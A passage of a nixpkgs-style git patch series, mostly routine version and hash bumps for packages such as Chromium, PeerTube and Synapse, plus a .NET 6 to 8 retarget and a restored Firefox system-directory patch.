+diff --git a/FileConv/FileConv.csproj b/FileConv/FileConv.csproj
+index 4c2e0e7..f44d628 100644
+--- a/FileConv/FileConv.csproj
++++ b/FileConv/FileConv.csproj
+@@ -1,7 +1,7 @@
+ <Project Sdk="Microsoft.NET.Sdk">
+ 
+   <PropertyGroup>
+-    <TargetFramework>net6.0</TargetFramework>
++    <TargetFramework>net8.0</TargetFramework>
+     <ImplicitUsings>enable</ImplicitUsings>
+     <Nullable>enable</Nullable>
+   </PropertyGroup>
+diff --git a/FileConvTests/FileConvTests.csproj b/FileConvTests/FileConvTests.csproj
+index 48e8e5c..1e58dc6 100644
+--- a/FileConvTests/FileConvTests.csproj
++++ b/FileConvTests/FileConvTests.csproj
+@@ -1,7 +1,7 @@
+ <Project Sdk="Microsoft.NET.Sdk">
+ 
+   <PropertyGroup>
+-    <TargetFramework>net6.0</TargetFramework>
++    <TargetFramework>net8.0</TargetFramework>
+     <ImplicitUsings>enable</ImplicitUsings>
+     <Nullable>enable</Nullable>
+   </PropertyGroup>
+diff --git a/MakeDist/MakeDist.csproj b/MakeDist/MakeDist.csproj
+index 7bcab19..69753a9 100644
+--- a/MakeDist/MakeDist.csproj
++++ b/MakeDist/MakeDist.csproj
+@@ -2,7 +2,7 @@
+ 
+   <PropertyGroup>
+     <OutputType>Exe</OutputType>
+-    <TargetFramework>net6.0</TargetFramework>
++    <TargetFramework>net8.0</TargetFramework>
+     <ImplicitUsings>enable</ImplicitUsings>
+     <Nullable>enable</Nullable>
+   </PropertyGroup>
+diff --git a/cp2/cp2.csproj b/cp2/cp2.csproj
+index cdcac51..45234aa 100644
+--- a/cp2/cp2.csproj
++++ b/cp2/cp2.csproj
+@@ -2,7 +2,7 @@
+ 
+   <PropertyGroup>
+     <OutputType>Exe</OutputType>
+-    <TargetFramework>net6.0</TargetFramework>
++    <TargetFramework>net8.0</TargetFramework>
+     <ImplicitUsings>enable</ImplicitUsings>
+     <Nullable>enable</Nullable>
+     <StartupObject>cp2.CP2Main</StartupObject>
+diff --git a/cp2_wpf/cp2_wpf.csproj b/cp2_wpf/cp2_wpf.csproj
+index bdfe5cc..9f5ed90 100644
+--- a/cp2_wpf/cp2_wpf.csproj
++++ b/cp2_wpf/cp2_wpf.csproj
+@@ -2,7 +2,7 @@
+ 
+   <PropertyGroup>
+     <OutputType>WinExe</OutputType>
+-    <TargetFramework>net6.0-windows</TargetFramework>
++    <TargetFramework>net8.0-windows</TargetFramework>
+     <Nullable>enable</Nullable>
+     <UseWPF>true</UseWPF>
+     <AssemblyName>CiderPress2</AssemblyName>

From 0cfc9941e95ca5cb2572afc1bc60c87d6d7f8581 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Robert=20Sch=C3=BCtz?= <nix@dotlambda.de>
Date: Sun, 24 Aug 2025 11:05:38 -0700
Subject: [PATCH 3964/4511] imagemagick: 7.1.2-1 -> 7.1.2-2

Diff: https://github.com/ImageMagick/ImageMagick/compare/7.1.2-1...7.1.2-2

Changelog: https://github.com/ImageMagick/Website/blob/main/ChangeLog.md
(cherry picked from commit c3a29b5c1d79dbe0ed6b3069dbe7a82a3aa8e8ff)
---
 pkgs/applications/graphics/ImageMagick/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/graphics/ImageMagick/default.nix b/pkgs/applications/graphics/ImageMagick/default.nix
index 3e884df89e5a..f1de6998866b 100644
--- a/pkgs/applications/graphics/ImageMagick/default.nix
+++ b/pkgs/applications/graphics/ImageMagick/default.nix
@@ -85,13 +85,13 @@ in
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "imagemagick";
-  version = "7.1.2-1";
+  version = "7.1.2-2";
 
   src = fetchFromGitHub {
     owner = "ImageMagick";
     repo = "ImageMagick";
     tag = finalAttrs.version;
-    hash = "sha256-SHzDSknIHz8/CHV0Lnlr8YtOhs67MPMXiVHfv50gfwY=";
+    hash = "sha256-bQzHZGTr3dl8G7cMSjC5Is+H/7pnRtqgp/rvYZeJDu0=";
   };
 
   outputs = [

From 9637ea29249d488fde110aab362fe3a801e325a8 Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Sat, 23 Aug 2025 13:13:20 +0200
Subject: [PATCH 3965/4511] peertube: 7.2.1 -> 7.2.3

Contains some security fixes caused by some transitive deps.

Changes:
https://github.com/Chocobozzz/PeerTube/releases/tag/v7.2.3
https://github.com/Chocobozzz/PeerTube/releases/tag/v7.2.2
(cherry picked from commit 41d9e0480962e3fa6d7e776293933bf602b91f83)
---
 pkgs/by-name/pe/peertube/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/pe/peertube/package.nix b/pkgs/by-name/pe/peertube/package.nix
index 1a18d6c31ce4..2e052db152dc 100644
--- a/pkgs/by-name/pe/peertube/package.nix
+++ b/pkgs/by-name/pe/peertube/package.nix
@@ -47,23 +47,23 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "peertube";
-  version = "7.2.1";
+  version = "7.2.3";
 
   src = fetchFromGitHub {
     owner = "Chocobozzz";
     repo = "PeerTube";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-I53LCCtB8iNGuABgvhRjUfxocasXCv4TV7jXtHVpMnU=";
+    hash = "sha256-vbjQoysm5ERY6kG3JhG6z/zKxVlmWmRXQyUnCrVgjFk=";
   };
 
   yarnOfflineCacheServer = fetchYarnDeps {
     yarnLock = "${finalAttrs.src}/yarn.lock";
-    hash = "sha256-PMU6ZMcT+9Z3Y6+085e3hRnvs4Xii5FIkkOPvsltfMY=";
+    hash = "sha256-baQgvzJ3W5lULrdukwM9niovtzAI0yvc2c7mqhtCDxk=";
   };
 
   yarnOfflineCacheClient = fetchYarnDeps {
     yarnLock = "${finalAttrs.src}/client/yarn.lock";
-    hash = "sha256-AWUnxC/cwtKCa70MKmHeOr6ussMYyQ5awQAnWYzCA1s=";
+    hash = "sha256-Y1boUDDegqCRt9fQaP+svIKYFz+gowGyV6sV7vq8vMA=";
   };
 
   yarnOfflineCacheAppsCli = fetchYarnDeps {

From 2ae749c34c1ed31d7eb45cd10fa22714dbf26eb7 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Tue, 26 Aug 2025 21:39:41 +0200
Subject: [PATCH 3966/4511] buildMozillaMach: restore MOZ_SYSTEM_DIR patch

Accidentally dropped while pruning obsolete patches.

(cherry picked from commit fd0ad4fee834fa585bc70424c0e67003015671a4)
---
 .../133-env-var-for-system-dir.patch          | 22 +++++++++++++++++++
 .../build-mozilla-mach/default.nix            |  3 +++
 2 files changed, 25 insertions(+)
 create mode 100644 pkgs/build-support/build-mozilla-mach/133-env-var-for-system-dir.patch

diff --git a/pkgs/build-support/build-mozilla-mach/133-env-var-for-system-dir.patch b/pkgs/build-support/build-mozilla-mach/133-env-var-for-system-dir.patch
new file mode 100644
index 000000000000..f35569c5909f
--- /dev/null
+++ b/pkgs/build-support/build-mozilla-mach/133-env-var-for-system-dir.patch
@@ -0,0 +1,22 @@
+diff --git a/toolkit/xre/nsXREDirProvider.cpp b/toolkit/xre/nsXREDirProvider.cpp
+index 6db876975187..5882c5d7f1d6 100644
+--- a/toolkit/xre/nsXREDirProvider.cpp
++++ b/toolkit/xre/nsXREDirProvider.cpp
+@@ -11,6 +11,7 @@
+ 
+ #include "jsapi.h"
+ #include "xpcpublic.h"
++#include "prenv.h"
+ #include "prprf.h"
+ 
+ #include "nsIAppStartup.h"
+@@ -297,7 +297,8 @@ static nsresult GetSystemParentDirectory(nsIFile** aFile) {
+       "/usr/lib/mozilla"_ns
+ #    endif
+       ;
+-  rv = NS_NewNativeLocalFile(dirname, getter_AddRefs(localDir));
++  const char* pathVar = PR_GetEnv("MOZ_SYSTEM_DIR");
++  rv = NS_NewNativeLocalFile((pathVar && *pathVar) ? nsDependentCString(pathVar) : reinterpret_cast<const nsCString&>(dirname), getter_AddRefs(localDir));
+ #  endif
+ 
+   if (NS_SUCCEEDED(rv)) {
diff --git a/pkgs/build-support/build-mozilla-mach/default.nix b/pkgs/build-support/build-mozilla-mach/default.nix
index 640888d2a94b..e3ff8c62fbb2 100644
--- a/pkgs/build-support/build-mozilla-mach/default.nix
+++ b/pkgs/build-support/build-mozilla-mach/default.nix
@@ -304,7 +304,10 @@ buildStdenv.mkDerivation {
   ];
 
   patches =
+    # Remove references to the build clsoure
     lib.optionals (lib.versionAtLeast version "136") [ ./136-no-buildconfig.patch ]
+    # Add MOZ_SYSTEM_DIR env var for native messaging host support
+    ++ lib.optionals (lib.versionAtLeast version "133") [ ./133-env-var-for-system-dir.patch ]
     ++ lib.optionals (lib.versionAtLeast version "139" && lib.versionOlder version "141") [
       # https://bugzilla.mozilla.org/show_bug.cgi?id=1955112
       # https://hg-edge.mozilla.org/mozilla-central/rev/aa8a29bd1fb9

From 2e92b0c39b98affd3699a6da664f36b865665691 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Tue, 26 Aug 2025 12:13:43 +0200
Subject: [PATCH 3967/4511] matrix-synapse: 1.136.0 -> 1.137.0

Diff: https://github.com/element-hq/synapse/compare/v1.136.0...v1.137.0
Changelog: https://github.com/element-hq/synapse/releases/tag/v1.137.0
(cherry picked from commit c56150136a154b36e0fe5f749c365ba502c7407c)
---
 pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix b/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix
index d630dc867d40..7e6410b3c4d8 100644
--- a/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix
+++ b/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix
@@ -17,19 +17,19 @@ let
 in
 python3.pkgs.buildPythonApplication rec {
   pname = "matrix-synapse";
-  version = "1.136.0";
+  version = "1.137.0";
   format = "pyproject";
 
   src = fetchFromGitHub {
     owner = "element-hq";
     repo = "synapse";
     rev = "v${version}";
-    hash = "sha256-9nN4sQXCamVi+FRN9++FN5nQmjYZnPKDLxjxEuga6EM=";
+    hash = "sha256-jnbW1p5JK00Of6XqoDfWs/4SqIztafjkvXUDWhMTm30=";
   };
 
   cargoDeps = rustPlatform.fetchCargoVendor {
     inherit pname version src;
-    hash = "sha256-GX4lVg6aPVlqFgSSGsUg3wi7bne9jVWPTVx8rO5SjL8=";
+    hash = "sha256-qpgDErV1VVzaUHHQX4ReXCPihdrSKI/4HtbDeQIblR8=";
   };
 
   postPatch = ''

From 97059780dfee9d723dc09d42fc74f54c0aa87abe Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 26 Aug 2025 21:11:06 +0000
Subject: [PATCH 3968/4511] shellhub-agent: 0.20.0 -> 0.20.1

(cherry picked from commit b6dde26bb65612836fd518bdc3ac853bbc77a4a7)
---
 pkgs/by-name/sh/shellhub-agent/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/sh/shellhub-agent/package.nix b/pkgs/by-name/sh/shellhub-agent/package.nix
index 4893f271fff1..2194556e0d9a 100644
--- a/pkgs/by-name/sh/shellhub-agent/package.nix
+++ b/pkgs/by-name/sh/shellhub-agent/package.nix
@@ -12,18 +12,18 @@
 
 buildGoModule rec {
   pname = "shellhub-agent";
-  version = "0.20.0";
+  version = "0.20.1";
 
   src = fetchFromGitHub {
     owner = "shellhub-io";
     repo = "shellhub";
     rev = "v${version}";
-    hash = "sha256-cDCpZB9lkEnkltY2OQ/Y5HSZmlukeQFbuxhtbeb8E2s=";
+    hash = "sha256-VO8uQ5tXYK1k1WZiJAq8/VcvCiCcbjzGMDWfZwKSw9w=";
   };
 
   modRoot = "./agent";
 
-  vendorHash = "sha256-17D8xrLlwX57JW4yXfPlo9RQRMCxVa7MjQQmzI/MBas=";
+  vendorHash = "sha256-BAZ/rZqI51FYAHLcxbsPQofeNvRZRWihWAMEf91DDHI=";
 
   ldflags = [
     "-s"

From abefda7c06ba1fe55c691f6c4b6402cacf46837f Mon Sep 17 00:00:00 2001
From: emilylange <git@emilylange.de>
Date: Tue, 26 Aug 2025 21:51:57 +0200
Subject: [PATCH 3969/4511] chromium,chromedriver: 139.0.7258.138 ->
 139.0.7258.154

https://chromereleases.googleblog.com/2025/08/stable-channel-update-for-desktop_26.html

This update includes 1 security fix.

CVEs:
CVE-2025-9478

(cherry picked from commit 2612d7b72e58c64914126bd8f4d1cbb4a512eaf6)
---
 .../networking/browsers/chromium/info.json    | 24 +++++++++----------
 1 file changed, 12 insertions(+), 12 deletions(-)

diff --git a/pkgs/applications/networking/browsers/chromium/info.json b/pkgs/applications/networking/browsers/chromium/info.json
index c7e26d4620ab..d226dd9c4495 100644
--- a/pkgs/applications/networking/browsers/chromium/info.json
+++ b/pkgs/applications/networking/browsers/chromium/info.json
@@ -1,10 +1,10 @@
 {
   "chromium": {
-    "version": "139.0.7258.138",
+    "version": "139.0.7258.154",
     "chromedriver": {
-      "version": "139.0.7258.139",
-      "hash_darwin": "sha256-EqKEyT/iEJkVASSAEP0/dNptDw3yr3AwoM2yUYbn1to=",
-      "hash_darwin_aarch64": "sha256-3H9CUsMDvD+PJ+n/YwCv22uEIxa80y+cMvL1PWOWQg0="
+      "version": "139.0.7258.155",
+      "hash_darwin": "sha256-9tHj/QSFz9fJTQ+xivOKbssqXsE53BHViy7uCZ4OMhc=",
+      "hash_darwin_aarch64": "sha256-fmflqWTiruKD/VtmNWllCA71tqaB0OIOUiXsmJOTJFI="
     },
     "deps": {
       "depot_tools": {
@@ -20,8 +20,8 @@
     "DEPS": {
       "src": {
         "url": "https://chromium.googlesource.com/chromium/src.git",
-        "rev": "884e54ea8d42947ed636779015c5b4815e069838",
-        "hash": "sha256-MCBHB1ms3H8AXqiIDHH7C+8/NDcgsn3pDx7mKtGdfbc=",
+        "rev": "9e0d6b2b47ffb17007b713429c9a302f9e43847f",
+        "hash": "sha256-L3cq3kx7hOv8bzwkQ+nyDM9VDzsvHaRzrSwrqwyCdHA=",
         "recompress": true
       },
       "src/third_party/clang-format/script": {
@@ -96,8 +96,8 @@
       },
       "src/third_party/angle": {
         "url": "https://chromium.googlesource.com/angle/angle.git",
-        "rev": "96492b317e27ba4106ed00f5faa4534cfeaa0b8f",
-        "hash": "sha256-TE8vYLNnAzVkGQZ2ZYuNHnu8fwp2Qv4ANP0btgrKYSQ="
+        "rev": "d9fc4a372074b1079c193c422fc4a180e79b6636",
+        "hash": "sha256-owMOjZEXhjXkEwzKdNVUk6Uzqdfp8UQq4JLDSvbvyeA="
       },
       "src/third_party/angle/third_party/glmark2/src": {
         "url": "https://chromium.googlesource.com/external/github.com/glmark2/glmark2",
@@ -581,8 +581,8 @@
       },
       "src/third_party/pdfium": {
         "url": "https://pdfium.googlesource.com/pdfium.git",
-        "rev": "849572b5c41e5bf59dc88bf54c41067faa9b5b00",
-        "hash": "sha256-lTUkzpzIskbEL7b2xBWT8s9YNyu1AZ235SBo5AfQtpg="
+        "rev": "bbdc38bc2d1693f56154f78eb5d4ff296d8ca3da",
+        "hash": "sha256-LYo73KuSVBEcRN1PqG0EBFeKaLy66UPtZ3DMHP5YVXM="
       },
       "src/third_party/perfetto": {
         "url": "https://chromium.googlesource.com/external/github.com/google/perfetto.git",
@@ -796,8 +796,8 @@
       },
       "src/v8": {
         "url": "https://chromium.googlesource.com/v8/v8.git",
-        "rev": "4d36678284f92d381f411c7947588d7a09989ca4",
-        "hash": "sha256-X5k2R7/sS3/C2S5hC1ILSquWjnPol3Pk+xe1suzgnFs="
+        "rev": "a0a7886d6b3707be8d4b403e463fa82fdb3f216c",
+        "hash": "sha256-KjIBJw40hiBkcHNn96dD5iZs2n2HMWIkAJ6ND2+5JJQ="
       }
     }
   },

From 441241887fb0700d9e8216738cce7b43e2f2888a Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Tue, 26 Aug 2025 19:33:03 +0200
Subject: [PATCH 3970/4511] invoiceplane: fix build

applyPatches needs to be used to patch the src for vendorHash to pick up
the changes to composer.json and composer.lock

(cherry picked from commit 8ff9f7c80efffa17d18bc6853eb77ca4bfb4e494)
---
 pkgs/by-name/in/invoiceplane/package.nix | 25 +++++++++++++-----------
 1 file changed, 14 insertions(+), 11 deletions(-)

diff --git a/pkgs/by-name/in/invoiceplane/package.nix b/pkgs/by-name/in/invoiceplane/package.nix
index 4fa9b79c69d2..35f54a6775bb 100644
--- a/pkgs/by-name/in/invoiceplane/package.nix
+++ b/pkgs/by-name/in/invoiceplane/package.nix
@@ -3,7 +3,7 @@
   fetchFromGitHub,
   nixosTests,
   fetchYarnDeps,
-  nodejs,
+  applyPatches,
   php,
   yarnConfigHook,
   yarnBuildHook,
@@ -24,23 +24,26 @@ php.buildComposerProject2 (finalAttrs: {
   pname = "invoiceplane";
   inherit version;
 
-  src = fetchFromGitHub {
-    owner = "InvoicePlane";
-    repo = "InvoicePlane";
-    tag = "v${version}";
-    hash = "sha256-XNjdFWP5AEulbPZcMDXYSdDhaLWlgu3nnCSFnjUjGpk=";
+  src = applyPatches {
+    src = fetchFromGitHub {
+      owner = "InvoicePlane";
+      repo = "InvoicePlane";
+      tag = "v${version}";
+      hash = "sha256-XNjdFWP5AEulbPZcMDXYSdDhaLWlgu3nnCSFnjUjGpk=";
+    };
+    patches = [
+      # Fix composer.json validation
+      # See https://github.com/InvoicePlane/InvoicePlane/pull/1306
+      ./fix_composer_validation.patch
+    ];
   };
 
   patches = [
     # yarn.lock missing some resolved attributes and fails
     ./fix-yarn-lock.patch
-
-    # Fix composer.json validation
-    # See https://github.com/InvoicePlane/InvoicePlane/pull/1306
-    ./fix_composer_validation.patch
   ];
 
-  vendorHash = "sha256-qnWLcEabQpu0Yp4Q2NWQm4XFV4YW679cvXo6p/dDECI=";
+  vendorHash = "sha256-UCYAnECuIbIYg1T4I8I9maXVKXJc1zkyauBuIy5frTY=";
 
   nativeBuildInputs = [
     yarnConfigHook

From f493650174444a58e8996a9eb5f957c2641b1b36 Mon Sep 17 00:00:00 2001
From: Jon Seager <jon@sgrs.uk>
Date: Wed, 27 Aug 2025 15:28:32 +0100
Subject: [PATCH 3971/4511] google-chrome: 139.0.7258.127 -> 139.0.7258.154

(cherry picked from commit 9d74181b4ad26c9cbd42b11520d96def78f494ff)
---
 pkgs/by-name/go/google-chrome/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/go/google-chrome/package.nix b/pkgs/by-name/go/google-chrome/package.nix
index e8f553715483..d174502732a2 100644
--- a/pkgs/by-name/go/google-chrome/package.nix
+++ b/pkgs/by-name/go/google-chrome/package.nix
@@ -170,11 +170,11 @@ let
 
   linux = stdenvNoCC.mkDerivation (finalAttrs: {
     inherit pname meta passthru;
-    version = "139.0.7258.127";
+    version = "139.0.7258.154";
 
     src = fetchurl {
       url = "https://dl.google.com/linux/chrome/deb/pool/main/g/google-chrome-stable/google-chrome-stable_${finalAttrs.version}-1_amd64.deb";
-      hash = "sha256-84T/yRj7KBPybttKSRLN7sP1Ki8C8qfo3OKfZI/vAP8=";
+      hash = "sha256-6uEk4a5bVlsVNwW+ZHHBgTGmw/ArgrRQwKfLcSITt8o=";
     };
 
     # With strictDeps on, some shebangs were not being patched correctly
@@ -275,11 +275,11 @@ let
 
   darwin = stdenvNoCC.mkDerivation (finalAttrs: {
     inherit pname meta passthru;
-    version = "139.0.7258.128";
+    version = "139.0.7258.155";
 
     src = fetchurl {
-      url = "http://dl.google.com/release2/chrome/kg4v265dmolyd75txmmp4a5np4_139.0.7258.128/GoogleChrome-139.0.7258.128.dmg";
-      hash = "sha256-UzCkawKshzXoi2FK34QxwHXyHIsjDeu8BxL2+p7t9W8=";
+      url = "http://dl.google.com/release2/chrome/gzhmrqghx4b6bwhn7ck3vb2h5y_139.0.7258.155/GoogleChrome-139.0.7258.155.dmg";
+      hash = "sha256-k8kbSLD7K4AuuZlPYavjEyL+4Cbx3geYCghLfaf5o2E=";
     };
 
     dontPatch = true;

From d20f544e7a42f2ec846ee41524f609e864238c5c Mon Sep 17 00:00:00 2001
From: Jon Seager <jon@sgrs.uk>
Date: Wed, 27 Aug 2025 17:01:23 +0100
Subject: [PATCH 3972/4511] google-chrome: remove `jnsgruk` as a maintainer

(cherry picked from commit e5825c2440735f2d89f5d281e4f9d8e1f51a3d31)
---
 pkgs/by-name/go/google-chrome/package.nix | 1 -
 1 file changed, 1 deletion(-)

diff --git a/pkgs/by-name/go/google-chrome/package.nix b/pkgs/by-name/go/google-chrome/package.nix
index d174502732a2..04f80e7a68b1 100644
--- a/pkgs/by-name/go/google-chrome/package.nix
+++ b/pkgs/by-name/go/google-chrome/package.nix
@@ -318,7 +318,6 @@ let
     homepage = "https://www.google.com/chrome/browser/";
     license = lib.licenses.unfree;
     maintainers = with lib.maintainers; [
-      jnsgruk
       johnrtitor
     ];
     platforms = lib.platforms.darwin ++ [ "x86_64-linux" ];

From 28f760ee18e3cf65a4d40e9480880dcde5f9fd13 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 27 Aug 2025 08:32:05 +0000
Subject: [PATCH 3973/4511] moonlight: 1.3.26 -> 1.3.27

(cherry picked from commit 58e706dce4bec1b1410a3218adf667ad256d9410)
---
 pkgs/by-name/mo/moonlight/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/mo/moonlight/package.nix b/pkgs/by-name/mo/moonlight/package.nix
index d83846db5c5d..9f6ff699ccaf 100644
--- a/pkgs/by-name/mo/moonlight/package.nix
+++ b/pkgs/by-name/mo/moonlight/package.nix
@@ -8,13 +8,13 @@
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "moonlight";
-  version = "1.3.26";
+  version = "1.3.27";
 
   src = fetchFromGitHub {
     owner = "moonlight-mod";
     repo = "moonlight";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-NcwRidwb/ask65LE86os4RkhyoPQo5sLu0sJs/NboK4=";
+    hash = "sha256-feWRxpNfnBj110DMlBqipe7wunqDZ8SvUvrtnnlePgk=";
   };
 
   nativeBuildInputs = [
@@ -28,7 +28,7 @@ stdenv.mkDerivation (finalAttrs: {
     buildInputs = [ nodejs_22 ];
 
     fetcherVersion = 2;
-    hash = "sha256-LUUpcC2eS8VvzguicIn9xsKql9w3533xxUJ+l7e7Anc=";
+    hash = "sha256-Y+OusNJJUTVxa7D99Y/dJeJO4o0UDXFnY48Z2oGPF0Y=";
   };
 
   env = {

From f0dce1b196764dd601a2581d2e9847c547e920c4 Mon Sep 17 00:00:00 2001
From: networkException <git@nwex.de>
Date: Wed, 27 Aug 2025 18:31:11 +0200
Subject: [PATCH 3974/4511] ungoogled-chromium: 139.0.7258.138-1 ->
 139.0.7258.154-1

https://chromereleases.googleblog.com/2025/08/stable-channel-update-for-desktop_26.html

This update includes 1 security fix.

CVEs:
CVE-2025-9478

(cherry picked from commit eb765b4d4e7f102de19f8f7d36d632c8bcb69583)
---
 .../networking/browsers/chromium/info.json    | 22 +++++++++----------
 1 file changed, 11 insertions(+), 11 deletions(-)

diff --git a/pkgs/applications/networking/browsers/chromium/info.json b/pkgs/applications/networking/browsers/chromium/info.json
index d226dd9c4495..58cf4eb3be4f 100644
--- a/pkgs/applications/networking/browsers/chromium/info.json
+++ b/pkgs/applications/networking/browsers/chromium/info.json
@@ -802,7 +802,7 @@
     }
   },
   "ungoogled-chromium": {
-    "version": "139.0.7258.138",
+    "version": "139.0.7258.154",
     "deps": {
       "depot_tools": {
         "rev": "ea7a0baff0d8554cf6d38f525b4e7882c2b4ec18",
@@ -813,16 +813,16 @@
         "hash": "sha256-m+z10s40Q/iYcoMw3o/+tmhIdqHMsYJjdGabHrK/aqo="
       },
       "ungoogled-patches": {
-        "rev": "139.0.7258.138-1",
-        "hash": "sha256-dmkUQHG9E0owKBIZi/e0mC5lc07rmU1muzP63PLdtTs="
+        "rev": "139.0.7258.154-1",
+        "hash": "sha256-GGuHEkqcTEvy1m1m8n4hReo8DmLQMDd5J6P1iTnG4Ys="
       },
       "npmHash": "sha256-R2gOpfPOUAmnsnUTIvzDPHuHNzL/b2fwlyyfTrywEcI="
     },
     "DEPS": {
       "src": {
         "url": "https://chromium.googlesource.com/chromium/src.git",
-        "rev": "884e54ea8d42947ed636779015c5b4815e069838",
-        "hash": "sha256-MCBHB1ms3H8AXqiIDHH7C+8/NDcgsn3pDx7mKtGdfbc=",
+        "rev": "9e0d6b2b47ffb17007b713429c9a302f9e43847f",
+        "hash": "sha256-L3cq3kx7hOv8bzwkQ+nyDM9VDzsvHaRzrSwrqwyCdHA=",
         "recompress": true
       },
       "src/third_party/clang-format/script": {
@@ -897,8 +897,8 @@
       },
       "src/third_party/angle": {
         "url": "https://chromium.googlesource.com/angle/angle.git",
-        "rev": "96492b317e27ba4106ed00f5faa4534cfeaa0b8f",
-        "hash": "sha256-TE8vYLNnAzVkGQZ2ZYuNHnu8fwp2Qv4ANP0btgrKYSQ="
+        "rev": "d9fc4a372074b1079c193c422fc4a180e79b6636",
+        "hash": "sha256-owMOjZEXhjXkEwzKdNVUk6Uzqdfp8UQq4JLDSvbvyeA="
       },
       "src/third_party/angle/third_party/glmark2/src": {
         "url": "https://chromium.googlesource.com/external/github.com/glmark2/glmark2",
@@ -1382,8 +1382,8 @@
       },
       "src/third_party/pdfium": {
         "url": "https://pdfium.googlesource.com/pdfium.git",
-        "rev": "849572b5c41e5bf59dc88bf54c41067faa9b5b00",
-        "hash": "sha256-lTUkzpzIskbEL7b2xBWT8s9YNyu1AZ235SBo5AfQtpg="
+        "rev": "bbdc38bc2d1693f56154f78eb5d4ff296d8ca3da",
+        "hash": "sha256-LYo73KuSVBEcRN1PqG0EBFeKaLy66UPtZ3DMHP5YVXM="
       },
       "src/third_party/perfetto": {
         "url": "https://chromium.googlesource.com/external/github.com/google/perfetto.git",
@@ -1597,8 +1597,8 @@
       },
       "src/v8": {
         "url": "https://chromium.googlesource.com/v8/v8.git",
-        "rev": "4d36678284f92d381f411c7947588d7a09989ca4",
-        "hash": "sha256-X5k2R7/sS3/C2S5hC1ILSquWjnPol3Pk+xe1suzgnFs="
+        "rev": "a0a7886d6b3707be8d4b403e463fa82fdb3f216c",
+        "hash": "sha256-KjIBJw40hiBkcHNn96dD5iZs2n2HMWIkAJ6ND2+5JJQ="
       }
     }
   }

From 687c37c1e4c58df795f2a3ada05127629d6b1198 Mon Sep 17 00:00:00 2001
From: Maximilian Bosch <maximilian@mbosch.me>
Date: Wed, 27 Aug 2025 12:55:10 +0200
Subject: [PATCH 3975/4511] linux_testing: 6.17-rc2 -> 6.17-rc3

(cherry picked from commit 811a227f1b283f36e1ed77b3db37d4ab106eca36)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 76b51e7a95cf..8da20935de80 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -1,7 +1,8 @@
 {
     "testing": {
-        "version": "6.17-rc2",
-        "hash": "sha256:1ax2gjbs4l8pgkwp3qwy3mxyfxdvbv02943yj4iw5df7h3x50wcz"
+        "version": "6.17-rc3",
+        "hash": "sha256:0kmlj35yqki4ibh15j8qx8202dh64fxl0nx737afg6i0k47rk1yd",
+        "lts": false
     },
     "6.1": {
         "version": "6.1.148",

From 98bbd7733fbd48547053104d32108e7c29f89eb3 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 27 Aug 2025 12:57:51 +0200
Subject: [PATCH 3976/4511] maintainers: add github/githubId for lenny

(cherry picked from commit 3cc1030e1f4b4ff492e74f7fcfd28539d8efd4c6)
---
 maintainers/maintainer-list.nix | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index 1c98aff78513..a94ca9efa292 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -13895,6 +13895,8 @@
   };
   lenny = {
     name = "Lenny.";
+    github = "LennyPenny";
+    githubId = 4027243;
     matrix = "@lenny:flipdot.org";
     keys = [ { fingerprint = "6D63 2D4D 0CFE 8D53 F5FD  C7ED 738F C800 6E9E A634"; } ];
   };

From 6c3231aab5943240ae0e861f3d79298eb53ecfe5 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 24 Aug 2025 04:47:30 +0000
Subject: [PATCH 3977/4511] discord-canary: 0.0.740 -> 0.0.745

(cherry picked from commit 389c1f0e74eff7aecc5a96b681b7d142cffa2b09)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index 553ff0194be2..a9b27084feca 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -11,7 +11,7 @@ let
       {
         stable = "0.0.104";
         ptb = "0.0.156";
-        canary = "0.0.740";
+        canary = "0.0.745";
         development = "0.0.84";
       }
     else
@@ -34,7 +34,7 @@ let
       };
       canary = fetchurl {
